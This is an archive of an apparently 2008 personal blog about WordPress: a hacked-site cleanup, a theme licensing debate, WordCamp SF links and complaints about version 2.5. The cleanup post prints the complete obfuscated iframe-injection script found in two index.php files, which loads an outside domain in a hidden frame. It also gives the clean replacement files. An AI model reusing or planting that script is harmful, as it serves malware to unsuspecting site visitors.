"Prose is architecture, not interior decoration, and the Baroque is over." -Ernest Hemingway

My WordPress Got Hacked

So I discovered today that some of my WordPress sites had been hacked. It was alerting my anti-virus software, Avast, that I had a virus in the form of an iFrame. They were all ones that had the same FTP login, which I quickly changed once I realized. I’ve fixed the problem here, and am not off to fix the other sites. The two files that seem to be hacked are your index.php located in the root of your domain. The other is index.php located in wp-content.

It’s a javascript string that reads:

? php echo ‘<script type=”text/javascript”>eval(String.fromCharCode(102,117,110,99,116,105,
111,110,32,100,57,56,100,40,41,123,118,97,114,32,115,100,49,55,55,50,61,
49,50,51,43,51,50,52,59,125,118,97,114,32,103,104,103,52,53,61,34,115,
34,59,118,97,114,32,119,61,34,117,112,116,117,108,108,111,103,34,59,
118,97,114,32,114,101,54,61,34,46,34,59,118,97,114,32,104,50,104,61,
34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,114,34,59,118,97,
114,32,115,61,34,104,116,116,34,59,100,111,99,117,109,101,110,116,
46,119,114,105,116,101,40,39,60,39,43,97,43,39,97,109,101,32,115,114,
39,43,39,99,61,34,39,43,115,43,39,112,58,47,47,39,43,103,104,103,52,
53,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,104,50,104,43,
39,47,39,43,39,34,32,119,105,100,39,43,39,116,104,61,34,49,34,32,
104,39,43,39,101,105,103,104,116,61,34,51,34,62,60,47,105,102,39,
43,39,114,39,43,39,97,39,43,39,109,101,62,39,41,59,32,102,117,110,
99,116,105,111,110,32,102,57,57,102,40,41,123,118,97,114,32,115,55,
97,56,56,115,61,57,55,43,55,53,59,125,32,118,97,114,32,115,102,
55,115,61,49,50,51))</script>’; ?

If you’re having this problem, first change your FTP password, WordPress passwords and anything else that could have been compromised.

FTP into your site and check the content of the above listed to files to make sure they have been indeed infected. If so open them up in a text editor and delete the above script. The entire index.php file in the root should read:

<?php
/**
* Front to the WordPress application. This file doesn’t do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define(‘WP_USE_THEMES’, true);

/** Loads the WordPress Environment and Template */
require(‘./wp-blog-header.php’);
?>

and the entire index.php file located in wp-content should just read:

<?php
// Silence is golden.
?>

Make the change and upload them back to the right spot and it should work. If you have questions about this, feel free to leave a comment and I’ll be glad to help out. This is what fixed my site. It should work on yours if you are having the same problem, but I can’t guarantee.

Debating in the WordPress community

There is an interesting discussion going on over at Pomomusings on this blog post Top 10 Reasons to Switch to WordPress. The article itself is a good list of why to switch to WordPress.  Make sure to check on the comments though where a debate begins over GPL compliant themes, whether Thesis is GPL compliant or not, and whether it’s good for the WordPress Community. Matt Mullenweg (co-founder of WordPress), Brian Clark (of Thesis/DIY Themes), and Brian Gardner (StudioPress) all weigh in.

Just playing

Excuse me for the next few days maybe. I’m playing around with Thesis (new theme) so you might see different things as I start to get into it.

SF WordCamp 2008 Presentations

Presentation links and downloads from SF WordCamp 2008…updated throughout the day.

LOLcats & the Secret of Virality –Ben Huh

Open Source Business Models –Stephen O’Grady

The Future of Education and WP –Alan Levine

CogDogBlog –Alan Levine

SEO Mistakes (PowerPoint Download) –Stephan Spencer

SEO Title Tag Plugin –NetConcepts

Twelve SEO Mistakes Article –Stephan Spencer

NetConcepts

WordPress & Microformats: Past, Present, Future –Tantek Celik

BuddyPress –Andy Peatling

Om Malik

Crazyhorse Demo –Liz Danzico & Janes Wells

WordCamp SF

So I’m heading up to WordCamp tomorrow in SF for the day. It’s basically a conference for users and developers of WordPress, which is my blogging software. Hopefully I’ll learn some cool stuff. At the very least, it’ll be fun hanging out with computer/blogger people and not people who look at me funny when I talk about WordPress.

Hello World!

I’m back online officially. No big hurrah or anything. I have a few blogs to post up and will try to do start that tonight, but going to Santa Cruz to see Forgetting Sarah Marshall, so we’ll see how I feel when I get home.

On a similarish note, for you inquiring minds, I’ve been seeing this guy named Nathan. We actually dated before. If you are curious, guy #3 here. Wow that was forever ago. Anyway, I stopped blogging about guys here for the most part, but I guess it won’t hurt too much.

Hm, I see an update for the new wordpress already. It says “better performance for categories.” Perhaps that will solve my biggest problem with it. That actually might make it worth coming back and updating tonight.

Hold on tight

At some point today I’m going to break down and upgraded to the new wordpress 2.5 release. Apparently there are plans to make some changes to the write page in the 2.6 release, so as long as I know it going to happen, I think I can deal with it.

However, as with most wordpress updates…something might break, so if it looks strange, bear with me while I fix it. It didn’t break on this one last time, but majorly messed over tsamonterey, and took forever to fix.

A new theme coming

I think I’ve found a new theme to work on to update my blog a bit. Although I have 3 other web projects going on as it is, so it may take me a bit to get around to adjusting it to my liking.

My official decision

After some thought and reading about, I decided not to upgrade to WordPress 2.5 because UI sucks (despite the annoying reminder bar in my admin panel). At least not until they fix the Write Screen, where you make your posts. It’s completely horrible. Yes, I will have to give up the cool new gallery feature, but I’ll survive. So, WordPress, move the categories back to the right column, and don’t make me click “add tag” to add a tag to my post.

WordPress 2.5

The thorn in my side. How many times can one piece of software need updating? Seriously? Just wait and do everything at once. If it’s critical that is fine, but if you have that many critical security updates a year, then WordPress has bigger problems.

So, they just released a new version. I upgraded on a test site, not here because you know how it likes to break my stuff. Anyway, the new design isn’t bad and it has some good features. However, the reason I will probably put off upgrading for as long as I possibly can (until DreamHost or WordPress start harassing me with little reminders in my dashboard again) is that they moved all the category, post password, status, slug, etc…BELOW the post. I kind of like not having to scroll down when I’m writing. I type, click a category and publish. Scrolling is not fun. They should know better. At least give users an option to move it back to the right sidebar which is being used for stuff no one mostly needs there now.

What were you thinking?

But, the new features are cool, especially the gallery thing. Check it out here.

If I didn’t love you so much, I’d hate you WordPress.

P.S. The font is a little small too.